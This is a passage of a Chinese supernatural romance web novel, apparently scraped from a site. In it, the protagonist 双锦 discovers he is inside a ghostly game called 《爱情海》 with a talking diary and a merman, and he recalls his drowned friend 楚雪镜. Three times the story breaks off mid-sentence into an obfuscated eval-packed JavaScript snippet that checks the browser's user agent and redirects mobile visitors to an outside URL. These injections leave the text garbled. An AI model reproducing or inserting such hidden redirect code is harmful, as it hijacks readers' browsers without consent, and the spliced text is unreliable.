《落入鬼怪的玫瑰园[快穿]》 1. 楔子(跳过不看不影响) “我好想你啊珍珠。” 珍珠接到电话时正在上期末考前的最后一节课,看了眼来电人后他偷偷从教室后面溜出来接了起来,确认不会被人发现后才小声和电话里的人说话,“不是说好暑假去见你嘛?” “我想你嘛,”电话里的人轻快地笑了两声,语气很愉快,“我的竞赛出结果了,我是第一名呢,所以迫不及待想回来见你。” 珍珠也为他感到开心。 恋人是个很粘人的人,几乎每天都想要珍珠的陪伴,珍珠大多数时候有些烦他这种性格,但是在这种时候他也不会扫兴,“恭喜你啊,那明天周末我去看你好吗?” 可出乎意料,对方却拒绝了他:“不了珍珠,你不用来找我了,好好准备期末考和实习的事,不要因为我分心。” 这是珍珠第一次被拒绝,他愣了下,怀疑是之前的几次爽约让恋人失落了,他心里有些愧疚,抿了抿唇,快速地思考一些安慰的话,“前段时间我真的有些忙,明天真的会去见你的。” “没关系的我知道,你想着我就好了。” 恋人的体贴让珍珠越发愧疚,他知道自己应该道歉,但却始终说不出那句话。 电话两边的人相对沉默了一会儿,珍珠也不知道恋人是否也在等自己那句道歉,可就在他咬咬牙,几乎要脱口而出时,恋人却好像能猜透他的心似的,“不用向我道歉,珍珠……” 珍珠一愣,良久后闷闷地应了声,他有些后悔自己之前的任性,扣着窗前的扶手,视线无意识地下坠。 窗外是美丽的盛夏,教学楼下的花坛里绽放着许多牡丹,长杉高耸,凌霄缠绕在花架上郁郁葱葱,珍珠的视线漫无目的地滑过时骤然被一个身影吸引了视线。 “珍珠!”电话那头,恋人向他笑,“你看到我了?” 楼底下,青年满脸笑容地向他挥手,微风拂过,他隽秀精致的脸庞上落了很多花的影子,好像真的很开心,笑容灿烂明净。 “珍珠,太久不见了,我真的好想你好想你啊。” 他话语中的感情太过真挚浓郁,珍珠心中一动,喉头有些紧,“那我去见你嘛。” 可他却坚持说:“不用了,珍珠啊,好好考试,不要来见我。” “那……你给我打电话是想说什么嘛。” …… “珍珠……” “嗯。” “我想你。” “我…知道啦。” “再见啦。” * “说什么再见了,搞得我一个周都没睡好。” 恋人的那句再见让珍珠心神不宁,终于在实习确认好了之后他和辅导员请了假出来找恋人。 他带了恋人最喜欢的榛子蛋糕,想着要好好和他道歉,以后不那么任性了。 但恋人的电话一直打不通,于是珍珠决定再任性最后一次。 “你不让我去见,我就不去了吗?我才不要听话……” 故事的最后,珍珠打到一辆出租车,踏上了去见恋人的路。 * 你预料到了电影的结局,不想再看下去,抬手将电视关了。 影片的标签是“爱情”“灵异”,可见这是个不详的爱情故事。 在沙发上静坐了一会儿后,你起身回到了自己的卧室,从卧室抽屉中取出了一个信封,垂眸凝着信中的那行字。 “我很想你,5月19日那天我会在海边等你,出来见我好吗。” 就在前不久,你收到了一封告白信。 信封雅致漂亮,还有淡淡的栀子花香味,里面除了一封约你见面的告白信还有一张你多年前的照片。 照片上的你站在公园的湖边,靠在一座白色天使雕塑旁,眉眼带着几分稚气和青涩,你和拍摄者的关系应该很好,脸上的神情戏谑而略带不经世事的内向和羞赧。 可能是时间太久远了,照片都已经褪色模糊,你记得照片中的公园,却怎么也想不起是什么时候拍得这张照片了,也不记得当时的拍摄者是谁。 但至少应该有十年了,因为照片中的公园十年前就被拆除,重建成了住宅楼。 是谁爱慕你十年才说出口呢?你想不出来,所以上次只是看了一眼就随意扔在了抽屉中。 或许是受到电影的影响,也可能是无聊,你现在又重新翻出来看了一遍。 但仍然没有什么收获,你也无法根据笔迹判断这是谁。 算了吧,于是你只是随意地将照片放在桌子上。 可一个无意中翻过照片的动作,你意外发现照片的背面竟然还有一行字。 “我最想念的永莘,9月21日,希望你快乐。” 你动作一顿。 9月21日是你的生日,知道你生日的人很少,这么看来这个人和你的关系应该相当不错。 那就更奇怪了,你最好的几个朋友在多年前的一场意外火灾中受害,幸存的几人也早已在时光的洪流中走散了。 是谁在向你告白呢? 他又是怎么知道你的新住址的? 相约见面的海边,是这里的海吗? 一种怪异的感觉在心中生根,仿佛被人偷偷注视,这种怪异感像触手一样沿着神经延展,你向窗外看去。 海风从半开的窗户吹进来,带来不远处浪花起伏的声音,你远远地看过去,想看看海边,视线却被树林挡住,只能听到海浪不断拍打礁石的声音。 大海好像很远又像近在身边,仿佛一闭上眼,浪花就会温柔地抚摸上脚背,吞噬你的双腿,让你身形不稳溺倒在海水中。 你觉得不太舒服。 你闭了闭眼,再睁开眼时看到了一辆黑色的车子缓缓驶向你家门口。 车上下来一个男人,一个气质很成熟的男人,年龄在三十岁左右,面容俊美,五官浓重,身上质感极好的风衣沿着他挺拔的身体线条垂坠下来,步态优雅,整个人风流倜傥。 你听着房门被打开又关上的声音,听到沉稳的脚步声从楼下到楼上,离你越来越近。 “永莘。”几分钟后男人打开房门走了进来。 你看着他向你走来,衣摆在他的小腿间晃动,如水波纹,随着他的靠近,一股淡淡的海风的湿寒味道向你袭来。 他应该是刚回来,路过了海边,你想。 他是你的恋人。 你向他笑了笑,听他说:“一个好消息,我又可以去那家店给你带你喜欢的榛子巧克力了,不过还有一个不太好的消息……” 你心领神会,“你要出差?” 男人有些遗憾地点了下头,“是的,国外的项目有点问题,需要有人去指导一下,就落在了我的头上,”他耸了耸肩,走到你身旁揽住你的肩膀,声音柔和低沉,“所以你要去参加那个婚礼吗?如果去的话我可以将出差推迟一段时间,不去的话我可能要尽快出发了。” 哦对了,婚礼。 你忽然想起这样一件事。 就在这封告白信寄来的前一天,你收到一封婚礼邀请函。 有人邀请他去参加婚礼,一起寄过来的还有一包糖果和一张中式婚纱照。 新郎是一个容貌极为出挑的男人,容貌端丽,五官精致美丽到有几分森丽阴柔。 他穿着一身绣纹繁复的深红色唐装端坐在四方椅上,身后是大红色的囍字,囍字两旁挂着一副婚庆对联,写的什么喜结良缘永结同心之类的,右手边的红木桌上摆放着一对精美的龙凤花烛,而与之相对的新娘的椅子上却是空的。 很奇怪的婚纱照。 而且你自认为没见过他,不过……细想也未必。 你见过的人很多,只是对谁都不上心。 他在心中提到了你的名字,希望你参加婚礼,那显然是认识你的。 可你仍然觉得哪里有些奇怪。 有什么东西在你脑海中不断闪现。 深呼吸了几口,你低头看了眼手中的告白信,呢喃着信上的日期。 “5月19日……” “你怎么了?”男人拍了下你的肩膀,“如果不想去就不去了,你看起来不是很舒服。” 说话时他的指背擦过你的耳侧,但你侧了下脸避开了他的触碰。 海边又起风了,海风穿过树林,送来汹涌的海浪声,还有焦躁的鸟鸣,像有什么呼之欲来。 你垂下眼,不着痕迹地将信放进抽屉,忽然之间你想到了什么,转头看向男人,“婚礼是什么时候?” 男人想了想说:“5月21日。” 居然是个有趣的日子,奇怪的猜想被打破,你暗自松了一口气。 你自己也不明白,为什么刚才会怀疑二者是同一天,那也太奇怪了。 不过……婚礼和奇怪的爱慕者,二选一的话。 你决定一个都不选。 “工作要紧,你去出差吧。” 你这样对恋人说。 “好。”他静静看了你一会儿,答应了。 “好像要下雨了。”男人走到窗前将半开的窗户关上了。 随着窗户被关上,外面的海浪声弱了下来,变得遥远了许多。 你的恋人从你侧走过,柔声说:“我出差的日子里你自己在家记得注意安全,无聊的时候记得出门散散心。” “好。” 只是说话的功夫,窗户上就出现了细小的雨滴,真的要下雨了。 你再一次看向窗外,远远地看到一群海鸥在树林上方盘旋,它们焦躁地扇动翅膀,即使窗户紧闭也能隐约听到它们尖利嘈杂的声音,仿佛目睹了什么恐怖的事物,久久地不得安宁,也搅得你心神不安。 或许是天气的原因吧,阴天总是让人压抑不适。 你点头,目送他离去,并轻声叮嘱他注意安全。 未来的几天,你的恋人去外地出差了,你独自在家修养,一个月前你做了一个小手术,因此你推掉了所有工作,借此机会好好休息。 时间一天天过去,一天天向5月19日靠近。 那个送告白信的人一定是个男人,绝不会是个女孩。 第四次收到告白信时你这样想。 从收到告白信的5月11日至今,已经过去四天,每天都有一封相同的信件寄过来。 信封一如既往的精致,喷洒着甜美的香水。 仿佛一个不详的征兆,这四天一直在下雨。 太阳仿佛彻底告别了地球,天空阴云霭霭,电闪雷鸣。 雨滴狂乱地打在窗户上噼啪作响,海浪不分昼夜地翻卷。 你坐在沙发上,将告白信揉皱成一团,扔进垃圾桶。 莫名地烦躁让你拆开了茶几上的一包糖果。 巧克力的味道香甜微苦,入口即化,缓解了一些你的焦躁。 等等,巧克力是从哪里来的? 你含着糖果诧异地看向桌子的红色糖果包。 哦,想起来了,那个婚纱照只拍自己的美貌新郎,真是卖了个有趣的关子。 你笑了笑。 要不要去看看新娘呢? 5月21日,那一天一定很热闹,还来得及。 休息这么久了,也该出门了。 …… 算了,你想。 * 去参加婚礼,去见奇怪的爱慕者,呆在家里,三选一。 你有些无聊,有些想出门。 你倾向于去参加婚礼,但还是选择了呆在家里。 这之后的两天,没有人再给 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15612196|172169||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 你寄来告白信,那个人好像终于放弃了。 连续几日的大雨也五月十六日渐缓,一切都似乎要好了起来。 “工作进程意外地快,我大概很快就会回家。” “不要闷在家里,记得出门。” 夜晚,客厅的电视里播放着一部老旧的悬疑电影,你陷在沙发里回恋人的消息。 “好的,在国外注意安全。” 回完这个消息后恋人就没有再回信了。 你百无聊赖地看着电视里的老电影,电视的光线忽明忽暗,不太清晰的声音似乎有催眠的作用。 你昏昏欲睡地闭上眼睛,陷入黑甜的梦境中。 不知睡了多久,直到房门被敲响了。 熟悉的声音叫你:“永莘。” 你骤然睁开眼睛,有些恍惚地揉了把脸,略感诧异。 原来恋人说的很快回家有这么快…… 你连忙走过去打开房门。 房门打开的一瞬间,混在风中的雨水便冲进室内,打湿了你的袖口和胸前的衣物,你连忙侧过头去眯着眼睛避免雨水进入眼中,再睁开眼时才看清了眼前人。 站在你身前的人非常高挑,他穿着一身黑色的雨衣,深深低着头,雨水淋淋沥沥地从他身上滴落在地,一种阴冷寒湿的感觉向你扑面而来。 你怔了一瞬,与他低垂的视线撞个正着。 那是一双陌生而美丽的眼眸,嵌在冷白的皮肤上,黑月似的瞳孔静默地凝视着你,目光幽深,仿佛望进深渊,你无法看出他的情绪,只见到他缓缓弯起眼睛。 那似乎是个笑容,但你却觉得毛骨悚然。 他对你说:“永莘,走吧。” 刹那间,你感觉到非常不安,猛地后退一步关上了房门,并反手锁上房门。 心脏不由自主地狂跳,你紧紧抿着唇,拎起之前随意仍在玄关的棒球棍以防万一。 但房门再也没有被敲响,那个奇怪的男人像是消失了一样。 你在门口站了数分钟,然后打开可视门铃观察门外。 门口空无一人,只有安静的路灯低头俯视着地面,细密的小雨匆匆而过。 他走了?难道是认错路的人吗? “嗡——” 恰在此时,你的手机响了,贴着茶几发出嗡嗡的震动声。 你下意识回头…… 电影已经落幕,在播放工作人员名单,你恍然地睁开眼睛,发现自己竟然睡着了。 房门关着,没有反锁,棒球棍还是随意地倒在鞋柜旁边。 是一场梦吗? 你摸了摸自己的袖口和胸前衣物,发现它们都是干爽的。 竟然是做梦吗…… * 五月十七日,多云。 终于下完雨了,虽然云彩还很厚,但天空明亮了很多,窗外的植物经过几日的雨水浇灌变得苍翠雨滴,它们舒展着肥厚的叶片,生机勃勃。 你睡得很好,吃完早餐后给自己冲了一杯热茶,茶香萦绕在你的鼻端,清新温热,然而你刚喝了一口就接到了邻居的电话。 邻居是个年龄和你相仿的青年,语气很关切,“昨夜有个学生在小区到处窜,你听说了吗?” 你骤然一顿,默然好久后才问,“什么学生?” “一个男孩子,他脑子……不是很健康,昨夜跑了出去,他妈妈找了好久。” “那……他现在在哪?” “被他妈找回家了。” 邻居这样说,你的心却仍然悬着,“他……是不是穿着黑色雨衣?” “对,你怎么知道?你见过他?” 你将手中的茶放下,缓缓站起身。 怎么回事,难道不是梦? 难道昨晚你确实看到了人,然后关上门后又回去睡着了? 你拿着手机焦躁不安地在客厅转了几圈,但没有任何头绪。 “没有……” “哈哈,好吧,”邻居似乎没察觉到你的异样,爽朗地笑了,“今天天气不错,我约了几个朋友去野餐,你要不要和我一起?今天是出门的好天气。” 邻居邀请你出门,这是个放松心情的好机会。 这些日子连绵不断地雨似乎影响到了你的精神状态,让你心情压抑地同时有些草木皆兵,似乎有什么东西给你带来了危机感。 或许恋人说得错,你真的需要出门散心了。 出门吧。 你想。 你答应了邻居,还去冰箱取出了一些食材,准备野餐的时候用。 但是将一杯茶喝完后你却又后悔了。 邻居是个外向的人,人缘很好,他出门一定还会有别人一起,你和他的朋友们不熟悉,不想进行没有必要的社交。 于是你拒绝了他。 * “我快要回家了,今天有出门吗?” 你的恋人又在和你发消息。 你将昨晚的经历告诉了他,他劝你不要多想,好好睡个觉,记得出门散心。 “明天我就要回来了,你可以来机场接我。” 明天……你算了算日子,明天是5月19日。 你不太喜欢这个日子,但是如果明天出门的话也是不错的选择。 “那我们甚至可以去参加婚礼,凑个热闹。” 恋人心情不错,“哈哈是这样。” 你看到他的文字也感觉到一些喜悦,是一种在家闷了很长时间终于要出门放松的雀跃。 * 今天难得放晴了,日出东方,晴光正好。 你将那些告白信一起扔进垃圾桶,简单地收拾好东西后出门了。 5月19日,你选择了…… 和恋人去参加婚礼。 2. 爱情海 “你觉得你不应该叫这个名字,你应该是另外一个人?” “你还觉得这个世界不真实?” 青年坐在沙发上柔顺地点了下头,他看起来很瘦削,像是很不爱吃饭的样子,脸苍白泛青,嘴唇也没什么血色,不过因为五官很是清艳动人,倒是别有一番素而生艳清透单薄的美丽。 “你太累了,”女人沉默了一会儿站起身来走到青年身后,轻轻拍了拍他的肩膀,“过重的压力和长久熬夜都可能让大脑病变,如果你还尝试过控制梦境,就更有可能导致精神错乱。” 青年抬眼看了看她,他坐在沙发上,视线却抬得很高,一双平静的眼眸似乎看向女人梳得整洁的盘发。 女人摸了摸头发向他露出幸福的笑容,“你姐夫说我把头发盘起来更好看。” 青年不知可否,只静静垂下长睫。 女人家中采光很好,有一个宽大明亮的阳台,她喜欢太阳暴晒后的衣物,身上有一种太阳的味道,闻着让人心安,她在青年身边坐下,语气温柔亲切,“你该好好休息一下,忘了梦里那些虚幻的东西,你的名字叫双锦,这才是你的名字。” 双锦轻轻笑了笑,似乎已经被说服了,“好吧,我以后不熬夜了,姐夫中午回来吃吗?” “放心吧,他在公司吃,不回来,”她想起什么,连忙起身,把随手扔在沙发靠背上的围裙又捡起来穿到身上,“光顾得和你说话了忘了我的锅了,我中午炖得排骨,不吃不准走。” 双锦笑着说:“你不让我吃我都要留下吃。” 女人不仅炖了排骨还做了好几个双锦爱吃的素菜,双锦胃口很小,几乎不像个成年人,但还是努力吃了半碗饭。 一起吃完一顿饭,姐弟俩有说有笑地聊到了半下午,快到孩子放学的时间时双锦向女人告别了。 临走前女人递给他大包小包的水果,劝他好好休息,不要想东想西,“你叫双锦,不叫别的名字,这世界是真实的,回家早早睡觉,不要熬夜——” “知道了。”双锦拎着一堆沉重的水果向她回以笑脸,视线仍然落在女人的头顶。 那里有女人柔顺乌黑的头发,还有一行只有他能看到的字。 “你的姐姐慧贞”。 * 这是一个不真实的世界。 双锦是在一个早上发现这件事的。 他从糟糕的梦境中醒来想要去客厅倒点水喝,路过窗边时意外发现了这个世界不真实的证据。 证据有二。 第一:双锦的日记本会自己写字和他交流。 第二:窗外有条美人鱼。 原来…美人鱼是水陆两栖的物种吗? 双锦不清楚,但确实有条美人鱼在距离他家大概三百米处,也就是在他家小区里从他家门口往南数第三个十字路口处。 人鱼静静地垂首站在路口中央,看不清面容,身体异常高大,即便距离这么远,双锦仍然能看出他有宽阔的胸肩,强壮修长的手臂。 他是昨天半夜时出现的,具体时间不清楚,双锦在客厅看电视时就看到他站在那里,起初双锦以为那是一个人,虽然他一动也不动。 双锦没放在心上,关上电视就去睡觉了,第二天早上醒来时意外发现他还在那里。 于是出于好奇,他走到窗边认真看了过去。 这一看才发现不对劲。 支撑男人站着的不是双腿,而是尾巴。 一条健壮修长的黑色鱼尾,深黑色的鳞片仿佛能够吸纳光线,日光照在上面没有任何反射,他就那样深低着头,诡谲而阴森,像什么即将觉醒的鬼怪。 而一个个路过的行人却仿佛没见到他似的,自然而然地从他身边走过,没有任何反应。 而也就是这个时候,他的日记本忽然无风自动,唰唰翻动起来。 “你终于看看我了,我是你的日记本。” 在没有人碰它,也没有笔的情况下,日记本上凭空浮现出一行行字。 “如果温柔是伪装,那爱情就是陷阱,欢迎来到游戏《爱情海》!” “对人鱼感到困惑吗?好吧,现在就告诉你,人鱼是我们这场伟大游戏的主角,他的本体在你看到他时已伪装成你的好友之一,伪装人物刷新的六个小时后游戏开始,也就是现在,开心吗?” 一觉进入游戏世界了。 双锦默然地盯着日记本上不断刷新出来的文字,半晌后他把日记本放回桌面,摸了摸自己的前额。 前额温度正常。 他脸上说不出是什么表情,也没什么太大的反应,只默默地挠了挠头,又咬了咬嘴唇。 从嘴上撕下一小块死皮后,他把日记本阖上了,然后又打开了,发现那行字还在。 也不知道怎么想的,他语气平静地问日记本,“人鱼是主角,那我是什么?” “好问题!你的身份是反派。” 双锦摇头叹息:“你的人设太过时了,按照现在的潮流我应该是顶级万人迷。” 日记本啪地一声阖上了。 “好吧好吧,你接着说,”用细长苍白的手指把日记本翻开,双锦柔声好气地哄它,“现在要给我发放任务了是吗?说吧说吧。” “你……为什么这么平静?” 双锦神情无奈地向它眨了下眼,睫毛修长,眼尾有一个微微下垂的柔软弧度,“我天生就是这种性格,不好吗?” 日记本没说什么,沉默了几秒才重复浮现出文字:“被人鱼捕获的人类会和人鱼一起坠入爱情海,永远消失在原本的人类世界,你可以选择放任不管,人鱼会在第三十天的零点进入你的房子带你走,你也可以选择在30天内找出伪装人物,然后使用道具杀死他进而通关游戏。” “所以你的选择是?” 双锦他看了一眼不知道什么时候出现在他书桌上的道具。 道具上方还悬着一行字,“赛利亚之剑”。 赛利亚,传说中世纪时有一个双鱼尾的自然精灵爱上了人类,最后却被人类杀死,而杀死精灵的男人就叫赛利亚。 看来游戏对他的定位确实是反派,让他扮演背叛感情的负心汉。 人鱼是主角,他是无情无义杀死爱人的反派,所以游戏对他是善意的吗? 显然不是,听起来更像是一场复仇。 双锦说:“我选择通关游戏,不过……你确定道具可以正常使用?” 虽然名字取得很玄乎,但实际上所谓的道具是一把长和宽几乎差别不大的圆胖短剑,剑身厚顿光滑,没有任何锋芒,剑柄是一个小小的球,整体大约一个苹果大小,长得像网页小游戏里Q版人物杀蘑菇怪的武器。 真是一把饱剑! 比起道具,更像精品店里的钥匙挂件或者婴儿磨牙棒。 日记本不理他。 双锦眨了眨眼又换了一个问题,“万一认错了怎么办?这东西能用几次?” 笔记上这回又浮现出一行字。 “道具只能使用两次且无法伤害正常人物,但攻击正常人物仍然会消耗使用次数。” 双锦了然,也就是说只有一次出错的机会。 那接下来还有一个重要的问题。 日记本说人鱼伪装成他的好友,可在双锦心中,他好友的人只有一个人,双锦只把他当自己的朋友,如果是这样,那……是否太简单了? 或者说日记本口中的好 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15612197|172169||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 友其实是一些具有相同共性的人,并不是传统意义上的朋友,而他们具有相同的特征。 “嗡——” 就在此时,双锦手中的日记本发出一声类似手机震动的声音。 “恭喜触发关键词‘特征’,解锁伪装人物特征,1:伪装人物十分迷恋你。 2:伪装人物患有皮肤饥渴。 3、4待解锁。” 是吗?听起来像痴汉。 而即便是这么离谱的字眼,双锦仍然淡淡的,即便窗外有条人鱼,笔记本会说话,还说了很多奇怪的话,他也置身事外似的根本没有反应,只是走到窗边,打开窗户向远处看去。 黑色的人鱼远远地站立着,他站在209栋的门口,也就是双锦家前面的第三个十字路口中间,上午时分,零零散散地人从他身旁走过,他们神色如常,仿佛完全没有看到身旁有个恐怖的生物。 双锦的视线离开人鱼,在小区内的景物上划过,熟悉的房子,熟悉的街道,确认没有任何异常后他看向了身侧的窗子。 窗户的玻璃很干净,清晰地映照出一个苍白清瘦的青年。 青年脸色苍白,但容貌很美丽,身体过分单薄,背部线条一路优柔地勾勒下去,在后腰处深凹出了一个很深的弧度。 双锦和镜子中的自己对视,属实有些纳罕。 所以到底为什么呢? 为什么今晚的梦居然格外长,他都已经累了,还没等到梦境结束。 几分钟后,他关上了窗户,将窗帘也拉上。 然后径直走到垃圾桶旁,把日记本扔了进去。 室内光线昏暗,静悄悄的,双锦沉默着爬上床……闭眼。 半分钟后床上传出深长平稳的呼吸声。 日记本似乎没想到,它躺在垃圾桶中愤怒地胡乱翻动着纸页摩擦塑料袋,试图制造噪音吵死双锦。 但毫无效果。 遮光窗帘的效果非常好,昏暗的卧室,空调开在舒适的温度,清爽干燥,有利睡眠。 双锦眼睛一闭一睁,再爬起来时已经是午饭时间点了。 一觉睡了四个小时,他迷迷糊糊爬起来,迟钝的大脑待机了半小时后,睡前的记忆才连上信号似的传送过来。 双锦看向书桌旁的垃圾桶,唤了一声:“日记本?” 会自己翻页的日记本静悄悄地躺在里面,一动不动,似乎死了。 ……果然是做梦吗? 因为每天凌晨三点睡觉对大脑造成了伤害? 但似乎哪里不对,好像有个细节忽略掉了。 但头真的很痛,虽然知道自己应该下床检查一下日记本和窗外,但可能还是太疲倦了,双锦不知不觉又闭上了眼睛。 再次醒来是被饿醒的。 手机显示时间为下午三点,他竟然又睡了三个小时,从早上八点睡到下午三点。 “日记本?”像上次一样,他又唤了一声。 垃圾桶里仍然没有任何声音。 是梦吧… 可如果是做梦……那是谁将日记本扔进垃圾桶的? 几分钟后,双锦从床上下来走到窗前,一把拉开窗帘。 又过了几分钟,他缓缓走到垃圾桶旁……弯腰捡起了日记本。 日记本似乎又一次感知他心中所想,自动在他的掌心打开,纸张刷拉拉地翻到最新一页。 “hello,亲爱的木头脑袋,八个小时过去,人鱼距离你又进了3.33米??。” * 窗外真的有条人鱼。 双锦的日记本会自己写字,还会写英文。 用的是他的笔迹。 这个世界是不真实的。 3. 楚雪镜 这是不真实的世界,这里是《爱情海》。 这个认识在双锦亲眼见到活着的慧贞后得到了验证。 慧贞,双锦同母异父的姐姐,她在双锦19岁时离世,那时候双锦和母亲生活在一起,还不姓双。 女人打开窗户,热情地向他挥手告别,让他有空常来,“你姐夫不常回来吃饭的,你不要不好意思,有时间就来找姐姐玩啊。” 双锦看着女人头顶的字含笑点头,同样向她挥手。 慧贞嫁给了很爱的男人,每天都认真准备饭菜等丈夫回家吃晚饭,但双锦知道她不会等到丈夫的,因为她的丈夫还没死,短时间内应该也死不了。 日暮西沉,余辉与现实世界无差,艳色的夕阳在双锦的指缝间穿梭跳动,双锦向姐姐道别后转身向回家的路走去。 原来这一次不是梦。 原来《爱情海》真的存在。 * 双锦一早就知道《爱情海》。 大约十年前,有一个兴起一时的都市异闻,据说有一碟神秘的游戏光盘具有连接不同时空的能力,可以让打开游戏的人进入异世界,那里和现实世界几乎是完全相同的,但是不同的是那个世界的人都是带着怨恨死去的。 不过他们并不都是恶鬼,有些人还是像活着时一样生活,并不记得自己已经死去。 小镇很小,这种异闻蔓延得很快,这导致很多人不敢再玩游戏光碟,很多光碟滞销,那盘神秘的游戏《爱情海》也就包括在其中。 而不久前,有人以楚雪镜的名义给双锦寄来了一张光盘。 双锦本不感兴趣,但看在楚雪镜那三个字上他将光盘插入了主机…… 回到家后,双锦先去厨房洗了一盘梨子,然后他端着这盘雪白的梨子从和卧室紧临的实木楼梯拾级而上,一路来到二楼的工作室,那是他还是一个雕塑专业学生的时候母亲给他单独腾出的房间,里面双锦从15岁到25岁时的全部作品。 在那里,双锦毫不意外地看到了一个等待他多时的人。 那是一个男人,他背对着双锦坐在窗前,夕阳的余晖如艳丽的浪潮从高大的落地窗奔涌而入,泼洒在男人挺阔的肩膀上,又沿着肌肉紧实修长手臂一路向下,他的身形湮没在光明中,像一个黑暗的影子。 楚雪镜…… 人这一生是否都有过那么一两个很喜欢的人? 反正双锦是有的。 这个世界上有几十亿人,而这可爱的芸芸众生中,双锦独爱楚雪镜。 楚雪镜是双锦最想成为的那种人。 他有双锦羡慕的出身,有双锦喜欢的相貌,还有双锦望尘莫及的外向性格与好人缘。 有句话叫“人擅长嫉妒自己想要成为的人”,但双锦不妒忌楚雪镜,他喜欢楚雪镜。 楚雪镜像命运赠送给双锦的一捧白玫瑰,出现在他最崇尚浪漫的美好年华,只想起他就好像嗅到了一缕芬芳,可芬芳消散得太快,雨夜汹涌的海浪卷走了楚雪镜的生命,留下空荡的沙滩。 他死的那天晚上双锦还见到过他的鬼魂,介于少年和青年之间的楚雪镜穿着双锦给他买的外套站在双锦的床边,湿冷的海水从他身上淋淋沥沥地滴在地板上,水滴声将双锦吵醒,他在梦中感觉到有人盯着自己,迷迷糊糊睁开眼时吓了一跳。 他茫然不解地反应了一会儿,才从床上爬起来,要给楚雪镜换干净的衣服,但被拒绝了。 双锦看到有水珠沿着他流利的侧脸滚下,森冷的寒意从他身上源源不断地渗出,可他好像全无所谓,只向双锦笑了笑,语气有些感慨和怅然,“今晚下雨了,海边的风很大很冷,我担心又会停电所以来看看你,小锦……你明天醒来不要怪我啊。” “我为什么要怪你?”双锦握住楚雪镜的手,想给他一些温暖。 可他的手真冷啊,皮肤湿漉漉的,湿寒的冷从他的骨骼关节和皮肤钻入双锦的手,冻得双锦也微微战栗。 楚雪镜静静地看着双锦,整个人很沉默,不像往常那样开朗。 双锦从他的神情中感受到了不同寻常的东西,于是也没有说话,两人两手相握靠在一起,直到天边将亮,楚雪镜就不顾双锦的阻拦离开了。 第二天,双锦得知楚雪镜在前一天晚上死了。 他见到的是鬼。 但或许是太喜欢楚雪镜了,双锦并不觉得恐怖,只觉得很伤心。 也是因为这件事,双锦相信楚雪镜并没有消失,或许他的灵魂就存在于大海,会随着哪一次潮起再回来看看他。 双锦很期待,从那以后他时常站来海边等待,祈求波涛起伏的海水将一个叫楚雪镜的灵魂带回来。 日复一日,海水无数次冲刷沙滩,抚摸过他的肌肤,给双锦带来贝壳、海螺,甚至珍珠,唯独 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15612198|172169||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 没有楚雪镜。 在不知多少次将贝壳带回家时,母亲终于爆发了,她将双锦带回来的东西扔到门口的垃圾桶,严厉地要求他不准再去海边,“人死不能复生啊,你这样会让他不得安息的。” 母亲训斥他的场景让恰好来家中做客的朋友也颇为尴尬,他拍拍双锦的后背,安慰他:“是啊,你这样不行的。” 这样不行的。 或许是走火入魔了,双锦从这句话中听出了别的意味。 “……那该怎么做?” * 朋友起初说他也不知道,劝双锦不要再执着了。 但双锦并不放弃,或许是被缠烦了,朋友真的告诉了他一个办法。 暑假的最后一天,双锦将楚雪镜留给他的最后一件纪念物送入了海水。 那颗钻石耳钉非常小,落入海水的一瞬间就消失不见了。 双锦不舍地闭上眼睛,在心中诚心地对大海说:“我真的很爱你楚雪镜。” 随着楚雪镜留给他的最后纪念彻底消失,双锦仰起头感受海风吹拂在脸上的湿润和清凉。 海天相接,云翳在海面投下倒影,海风传来轮船的汽笛声,吹在人身上湿冷冷的很清爽,似乎能将人的愁绪都吹散。 双锦忽然觉得无比轻松畅快,好像在这一刻彻底解脱了。 其实他很清楚朋友是骗他的,朋友想通过这种方式让他一件件销毁楚雪镜的东西,让他从这段感情中解脱出去。 这是一个彼此心知肚明的谎言。 那之后双锦再也没去过海边,他将对楚雪镜的思念藏在心里。 直到二十五岁时的一个阴雨天,双锦站在路边等人,毫无预兆的雨忽然从天而降,将地面变得湿润。 他无奈地看着路面上的雨水汇聚成流,却出乎意料地没有在自己身上感受到任何湿意。 有人将一把宽大的伞撑在他的头顶,替他挡去了风雨。 双锦微微愣了一下,轻声地说了声谢谢才地抬起头来。 一刹那,心跳比大脑反应更快,呼吸也不由自主地停滞。 眼睛的余光最先捕捉到一颗钻石,细碎的光斑落在那双深邃的眼眸中,像月下的深黑色的海面,波光粼粼。 仿佛时光回溯,旧日重来。 目光相触的一瞬间,男人线条优美的唇扬起,“你好,我姓楚,怎么称呼?” 4. 电梯 姓楚的人很多。 长得相似的人也不是不存在,但人竟然能相似到这种程度,确实是让双锦少见地愣住了。 一刹那,尘封已久的记忆忽然冲破桎梏喷涌而出。 